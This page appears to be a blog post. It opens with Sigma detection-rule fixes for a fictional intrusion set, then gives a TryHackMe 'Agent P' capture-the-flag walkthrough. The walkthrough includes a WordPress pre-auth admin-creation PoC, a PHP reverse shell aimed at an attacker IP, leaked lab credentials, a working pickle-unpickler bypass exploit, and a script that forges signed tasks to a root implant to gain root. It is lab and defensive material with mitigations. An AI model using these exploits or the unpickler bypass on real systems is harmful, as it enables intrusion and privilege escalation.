FIX: Corrected field from ShareName (the share path) to RelativeTargetName (the actual object accessed). No exclusion filter needed.

PR #3 - rules/remote_access_service_persistence.yml

title: Remote Access Tool Installed as a Service on Server Infrastructure
id: 6e4f2418-b99a-4df2-868f-fe4086055996
status: experimental
description: Detects a remote access application installed as a Windows service on server tier infrastructure, where Cascadia's own helpdesk only ever deploys these tools on end user workstations, consistent with POWDER WOLF's persistence tradecraft on the domain controller.
author: morgan-reyes
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 7045
    ServiceFileName|contains:
 - 'AnyDesk.exe'
 - 'ScreenConnect'
 - 'TeamViewer'
  filter_workstation_class:
    ComputerName|startswith:
 - 'SNW-PC'
 - 'ALD-PC'
 - 'TBL-PC'
  condition: selection and not filter_workstation_class
Enter fullscreen mode Exit fullscreen mode

FIX: Switched from process-creation Image to the real service-install event (EventID 7045) and ServiceFileName|contains (not endswith, due to a trailing --service flag). Added workstation-class exclusion and expanded beyond AnyDesk to ScreenConnect/TeamViewer.

PR #4 - rules/sevenzip_share_archive_collection.yml

title: Archiving Tool Compresses Data Directly From a Live Network Share
id: 2a3f3da0-0725-4ef1-a857-05fcf21b0f8c
status: experimental
description: Detects an archiving operation (7-Zip, WinRAR, or PowerShell's Compress-Archive) whose command line references a share path on server tier infrastructure directly, rather than local user documents, consistent with POWDER WOLF's collection staging ahead of exfiltration.
author: morgan-reyes
logsource:
  product: windows
  category: process_creation
detection:
  selection_archiver_tools:
    OriginalFileName:
 - '7z.exe'
 - '7zFM.exe'
 - '7zG.exe'
 - 'WinRAR.exe'
 - 'Rar.exe'
    CommandLine|contains:
 - 'FS-RESV01\'
 - 'BKP-CSRC01\'
 - 'DC-CSRC01\'
 - 'DC-CSRC02\'
 - 'DC-CSRC03\'
 - 'HV-CSRC01\'
  selection_ps_tool:
    Image|endswith: '\powershell.exe'
    CommandLine|contains: 'Compress-Archive'
  selection_ps_share:
    CommandLine|contains:
 - 'FS-RESV01\'
 - 'BKP-CSRC01\'
 - 'DC-CSRC01\'
 - 'DC-CSRC02\'
 - 'DC-CSRC03\'
 - 'HV-CSRC01\'
  filter_monthly_export:
    ParentImage|endswith: '\wscript.exe'
    CommandLine|contains: 'ReservationsExport_'
  condition: (selection_archiver_tools or (selection_ps_tool and selection_ps_share)) and not filter_monthly_export
Enter fullscreen mode Exit fullscreen mode

FIX: Replaced the meaningless -p flag check with server-hostname substring matching (double-backslash UNC matching proved unreliable in the converter). Added OriginalFileName matching (defeats renaming), WinRAR/Rar, and PowerShell's Compress-Archive.

PR #5 - rules/lynx_ransomware_deployment.yml

title: Lynx Ransomware Payload Executed With Distinctive Encryption Flags
id: fef37376-5b9b-4ada-b67b-2ce4d9177323
status: experimental
description: Detects execution of a payload using the Lynx ransomware's distinctive command line flags controlling target drive, encryption speed, and verbosity, consistent with POWDER WOLF's fleet wide deployment staging.
author: morgan-reyes
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains|all:
 - '--dir'
 - '--mode fast'
  filter_diskoptimizer:
    OriginalFileName: 'DiskOptimizer.exe'
  condition: selection and not filter_diskoptimizer
Enter fullscreen mode Exit fullscreen mode

FIX: Corrected ParentImage (was services.exe, real value is cmd.exe). Dropped the filename anchor (\w.exe) entirely so a renamed/relocated payload can't skip the filter stage; keyed selection purely on the distinctive flags and excluded the legitimate tool using only its embedded OriginalFileName.


TryHackMe - Agent P

Summary

Agent P is a multi-stage Linux box themed around Doofenshmirtz Evil Incorporated. The
intended path chains four distinct vulnerability classes across four user contexts. An
unauthenticated WordPress REST API batch-route confusion SQLi (CVE-2026-63030) on a
WordPress 6.9 install creates a pre-auth administrator account, which is then abused
via the Theme File Editor to land a reverse shell as www-data. A custom
infrastructure accounts table in the WordPress database leaks SSH credentials for
norm, whose evilinc group membership allows reading a panel config file containing
an operator secret. That secret authenticates to an internal Flask app on port 8700
whose pickle deserialization endpoint is protected by a restricted unpickler - bypassed
using pydoc.locate to reach os.system without touching any blocked module name.
This yields a shell as vanessa, who has write access to the C2 implant's task socket.
The implant authenticates tasks via HMAC-SHA256, where the signing key is derived from
an XOR-obfuscated 32-byte seed (decrypted using the LCPRNG keystream hardcoded in
.rodata) combined with the system's machine-id. Reverse-engineering the key
derivation and forging a valid exec|chmod u+s /bin/bash task grants SUID bash and
root access.

Flags

Flag Location
User 1 (norm) /home/norm/user.txt
User 2 (vanessa / operator) /home/vanessa/operator.txt
Root /root/root.txt

Recon

nmap -A -Pn <MACHINE-IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.9
Enter fullscreen mode Exit fullscreen mode

Two ports only. WordPress 6.9 on port 80 - immediately interesting since 6.9 is
flagged as insecure by wpscan.

wpscan --url http://<MACHINE-IP> --api-token <TOKEN> -e vp,vt,u
Enter fullscreen mode Exit fullscreen mode

Key findings from wpscan:

  • WordPress 6.9 (insecure)
  • CVE-2026-63030: REST API batch-route confusion and SQLi to RCE (fixed in 6.9.5)
  • CVE-2026-60137: Facilitated SQLi (fixed in 6.9.5)
  • Upload directory listing enabled
  • XML-RPC enabled
  • One user identified: heinz

Initial Access - WordPress CVE-2026-63030 (REST Batch SQLi to Admin Creation)

WordPress 6.9 is vulnerable to a REST API batch-route path confusion bug that allows
unauthenticated SQL injection via a crafted multi-route batch request. The
wp2shell PoC automates this into a
pre-auth admin-creation-to-RCE chain.

Confirming the target is vulnerable:

python3 wp2shell.py check http://<MACHINE-IP>/wp-trackback.php
Enter fullscreen mode Exit fullscreen mode
[*] WordPress markers found (wp-json)
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE - batch route-confusion behavior detected.
Enter fullscreen mode Exit fullscreen mode

Launching the interactive shell mode to trigger the pre-auth admin creation chain:

python3 wp2shell.py shell http://<MACHINE-IP>/ -i
Enter fullscreen mode Exit fullscreen mode
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_a5fdae0313e0
[+]     email:    wp2_a5fdae0313e0@wp2shell.invalid
[+]     password: Wp2!RCFKphx2aSGoImuyytie
Enter fullscreen mode Exit fullscreen mode

The plugin-upload step times out due to outbound restrictions, so the RCE path shifts
to the Theme File Editor, which is accessible once logged in as the newly created admin.

Navigating to Appearance > Theme File Editor > Twenty Twenty-Five > patterns >
contact-info-locations.php
and replacing the file content with a PentestMonkey PHP
reverse shell payload:

<?php
set_time_limit(0);
$ip = '<ATTACKER-IP>';
$port = 4444;
// ... standard reverse shell payload
?>
Enter fullscreen mode Exit fullscreen mode

Starting the listener and triggering execution by visiting:

http://<MACHINE-IP>/wp-content/themes/twentytwentyfive/patterns/contact-info-locations.php
Enter fullscreen mode Exit fullscreen mode
[+] [New Reverse Shell] => tryhackme-2404 <MACHINE-IP> Linux-x86_64 www-data(33)
Enter fullscreen mode Exit fullscreen mode

Lateral Movement - www-data to norm

WordPress Database Credential Extraction

cat /var/www/html/wp-config.php | grep DB_
Enter fullscreen mode Exit fullscreen mode
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'wp_WjURfdI' );
Enter fullscreen mode Exit fullscreen mode

Enumerating the WordPress database revealed a non-standard table:

mysql -u wpuser -p'wp_WjURfdI' wordpress -e "SHOW TABLES;"
Enter fullscreen mode Exit fullscreen mode
+-----------------------+
| wp_infra_accounts     |  <-- non-default, custom table
+-----------------------+
Enter fullscreen mode Exit fullscreen mode
mysql -u wpuser -p'wp_WjURfdI' wordpress -e "SELECT * FROM wp_infra_accounts;"
Enter fullscreen mode Exit fullscreen mode
+-----------+---------------------+-------------------------------------------------+
| host_user | host_pass           | note                                            |
+-----------+---------------------+-------------------------------------------------+
| norm      | N0rm_th3_r0b0t_2026 | ssh sync target for the -inator newsletter cron |
+-----------+---------------------+-------------------------------------------------+
Enter fullscreen mode Exit fullscreen mode

Password reuse on the local account:

su norm   # password: N0rm_th3_r0b0t_2026
Enter fullscreen mode Exit fullscreen mode

User Flag 1

norm@tryhackme-2404:~$ cat /home/norm/user.txt
EVILINC{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Internal Service Discovery

Enumerating open ports from inside the box:

ss -tulnp
Enter fullscreen mode Exit fullscreen mode
tcp  LISTEN  127.0.0.1:8700   <-- previously invisible from external scan
tcp  LISTEN  127.0.0.1:3306
Enter fullscreen mode Exit fullscreen mode

Port 8700 is a Gunicorn/Flask app running as vanessa: the "Evil Inc. -inator Control
Panel." Its landing page shows two API routes: POST /api/login (exchange a secret for
an operator token) and POST /api/blueprints/import (deserialize a base64 pickle
blueprint).

Lateral Movement - norm to vanessa

Operator Secret Extraction

norm is a member of the evilinc group:

id
uid=1001(norm) gid=1002(norm) groups=1002(norm),1001(evilinc)
Enter fullscreen mode Exit fullscreen mode

/etc/evilinc/panel.conf is readable by evilinc group members:

cat /etc/evilinc/panel.conf
Enter fullscreen mode Exit fullscreen mode
[panel]
operator_secret = b3hind_sch3dul3_th1s_m0nth
Enter fullscreen mode Exit fullscreen mode

Authenticating to the internal panel:

curl -s -c cookies.txt -X POST http://127.0.0.1:8700/api/login \
  -d "secret=b3hind_sch3dul3_th1s_m0nth"
Enter fullscreen mode Exit fullscreen mode
{"ok":true}
Enter fullscreen mode Exit fullscreen mode

Pickle Deserialization - Restricted Unpickler Bypass

The /api/blueprints/import endpoint accepts a base64-encoded pickle, but passes
it through a restricted_unpickler.py module that blocks common modules by name
(os, posix, subprocess, builtins, operator, etc.).

The bypass uses pydoc.locate(), which resolves dotted names like "os.system"
to the actual function object at unpickle time. Since pydoc itself is not
blocklisted, this sidesteps the restriction entirely:

import pickle, base64, pydoc

class GetSystemFunc:
    def __call__(self, *a, **kw):
        pass
    def __reduce__(self):
        return (pydoc.locate, ('os.system',))

class Exploit:
    def __reduce__(self):
        return (GetSystemFunc(), ('id > /tmp/pwned_test 2>&1',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
Enter fullscreen mode Exit fullscreen mode

Confirming RCE as vanessa:

curl -s -b cookies.txt -X POST http://127.0.0.1:8700/api/blueprints/import \
  --data-urlencode "blueprint=$(python3 exploit.py)"
Enter fullscreen mode Exit fullscreen mode
{"loaded":"0","ok":true}
Enter fullscreen mode Exit fullscreen mode
cat /tmp/pwned_test
uid=1002(vanessa) gid=1003(vanessa) groups=1003(vanessa),1001(evilinc)
Enter fullscreen mode Exit fullscreen mode

SSH Access as Vanessa

Using the pickle RCE to inject an SSH public key:

cmd = 'mkdir -p /home/vanessa/.ssh && \
  echo "<PUBKEY>" >> /home/vanessa/.ssh/authorized_keys && \
  chmod 700 /home/vanessa/.ssh && \
  chmod 600 /home/vanessa/.ssh/authorized_keys && \
  chown -R vanessa:vanessa /home/vanessa/.ssh'
Enter fullscreen mode Exit fullscreen mode
ssh -i vanessa_key vanessa@127.0.0.1
Enter fullscreen mode Exit fullscreen mode

User Flag 2 (Operator)

vanessa@tryhackme-2404:~$ cat /home/vanessa/operator.txt
EVILINC{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation - vanessa to root

C2 Tasking Socket

vanessa is in the evilinc group, which has write access to the C2 implant's
Unix domain socket:

ls -la /run/evilinc/tasking.sock
srw-rw---- 1 root vanessa 0 Aug  8 07:52 /run/evilinc/tasking.sock
Enter fullscreen mode Exit fullscreen mode

The root-running implant (/opt/evilinc/implant) polls this socket for tasks. It
supports two verbs via POLL <id> and SUBMIT <id>|<type>|<cmd>|<nonce>|<sig>.
A valid signature is required or the server returns ERR. The implant supports two
task types: sysinfo and exec - the latter passes cmd directly to system().

Reverse-Engineering the HMAC Signing Key

Disassembling the binary confirmed HMAC-SHA256 for signature verification. The key
derivation was determined from .rodata and the disassembly:

  1. A 32-byte LCPRNG keystream is generated from seed 0x1a2b3c4d using the
    classic LCG formula: s = (s * 0x41c64e6d + 0x3039) & 0xFFFFFFFF, taking
    (s >> 16) & 0xFF each iteration.

  2. That keystream is XOR'd against a 32-byte constant blob embedded in .rodata
    at offset 0x2020:

   1588c57c 026ae5eb 9c2d1817 af48f709
   64efff76 5e58d112 d8f116d7 0f9941b4
Enter fullscreen mode Exit fullscreen mode

This produces the raw signing secret.

  1. The signing key is then HMAC-SHA256(raw_secret, machine_id) where machine_id is read from /etc/machine-id.

The full key derivation in Python:

import hmac, hashlib

def keystream(n, seed=0x1a2b3c4d):
    s = seed
    out = bytearray()
    for _ in range(n):
        s = (s * 0x41c64e6d + 0x3039) & 0xFFFFFFFF
        out.append((s >> 16) & 0xFF)
    return bytes(out)

cipher = bytes.fromhex(
    "1588c57c026ae5eb9c2d1817af48f709"
    "64efff765e58d112d8f116d70f9941b4"
)
ks = keystream(32)
blob = bytes(a ^ b for a, b in zip(ks, cipher))

machine_id = open("/etc/machine-id").read().strip()
signing_key = hmac.new(blob, machine_id.encode(), hashlib.sha256).digest()
Enter fullscreen mode Exit fullscreen mode

Forging a Malicious Task

With the signing key recovered, a valid exec task is forged to SUID bash:

task_id = "9999999"
task_type = "exec"
cmd = "chmod u+s /bin/bash"
nonce = "1"

msg = f"{task_id}|{task_type}|{cmd}|{nonce}"
sig = hmac.new(signing_key, msg.encode(), hashlib.sha256).hexdigest()
submit = f"SUBMIT {task_id}|{task_type}|{cmd}|{nonce}|{sig}"

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/run/evilinc/tasking.sock")
sock.send(submit.encode() + b"\n")
print(sock.recv(64).decode())
Enter fullscreen mode Exit fullscreen mode
OK
Enter fullscreen mode Exit fullscreen mode

The implant (running as root) picks up the task within its 3-second sleep cycle
and executes the command:

sleep 4
/bin/bash -p
Enter fullscreen mode Exit fullscreen mode
bash-5.2# id
uid=1002(vanessa) gid=1003(vanessa) euid=0(root) groups=1003(vanessa),1001(evilinc)
Enter fullscreen mode Exit fullscreen mode

Root Flag

bash-5.2# cat /root/root.txt
EVILINC{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 WordPress REST batch-route confusion SQLi (CVE-2026-63030) /wp-json/ batch endpoint Pre-auth administrator creation
2 Post-auth arbitrary file write via Theme File Editor /wp-admin/theme-editor.php RCE as www-data
3 Plaintext credentials in custom WordPress DB table wp_infra_accounts Lateral movement to norm
4 Operator secret readable by group members /etc/evilinc/panel.conf Authentication to internal panel
5 Restricted pickle unpickler bypass via pydoc.locate /api/blueprints/import RCE as vanessa
6 Roll-your-own crypto: LCPRNG keystream XOR + HMAC /opt/evilinc/implant Signing key recovery and task forgery
7 Root task execution without output validation evilinc-implant.service Privilege escalation to root

Attack Chain

[nmap: port 80 WordPress 6.9, port 22 SSH pubkey-only]
        |
        v
[wpscan: user `heinz`, CVE-2026-63030 confirmed]
        |
        v
[wp2shell: pre-auth SQLi -> admin created (wp2_a5fdae0313e0)]
        |
        v
[Theme File Editor: PHP reverse shell -> contact-info-locations.php]
        |
        v
[curl trigger -> reverse shell as www-data]
        |
        v
[wp-config.php: DB creds wpuser:wp_WjURfdI]
        |
        v
[MySQL wp_infra_accounts: norm:N0rm_th3_r0b0t_2026]
        |
        v
[su norm -> user.txt captured]
        |
        v
[evilinc group -> /etc/evilinc/panel.conf -> operator_secret]
        |
        v
[Port 8700 panel login -> /api/blueprints/import]
        |
        v
[pydoc.locate pickle bypass -> RCE as vanessa]
        |
        v
[SSH key injection -> operator.txt captured]
        |
        v
[/run/evilinc/tasking.sock (group vanessa)]
        |
        v
[Implant binary RE: LCPRNG keystream XOR -> base key -> HMAC(key, machine_id)]
        |
        v
[Forge SUBMIT exec|chmod u+s /bin/bash -> /bin/bash -p -> root]
        |
        v
[root.txt captured]
Enter fullscreen mode Exit fullscreen mode

Mitigations

  • Keep WordPress and all plugins patched. CVE-2026-63030 was fixed in WordPress 6.9.5; a one-version lag was enough to fully compromise the host.
  • Never store plaintext infrastructure credentials in a database accessible to the web application user. A dedicated secrets manager or encrypted vault should be used.
  • Disable the WordPress Theme/Plugin File Editor in production (define('DISALLOW_FILE_EDIT', true) in wp-config.php).
  • Pickle deserialization of untrusted input is inherently unsafe regardless of what a restricted unpickler blocks. Any allowlist-based approach can be bypassed by finding an unblocked callable that resolves to a dangerous function at runtime. Accept only JSON or other safe serialization formats for user-supplied data.
  • Do not roll your own cryptography. An LCPRNG-seeded keystream XOR is not a cipher - the seed and output transformation are trivially reversed from a static binary. Use established authenticated encryption (AES-GCM, ChaCha20-Poly1305) with keys generated by a CSPRNG and stored securely outside the binary.
  • Services that accept tasking from a Unix socket should authenticate the connecting peer (e.g. via SO_PEERCRED) rather than relying solely on filesystem permissions plus an HMAC that can be forged once the key is recovered from the binary.

Top comments (0)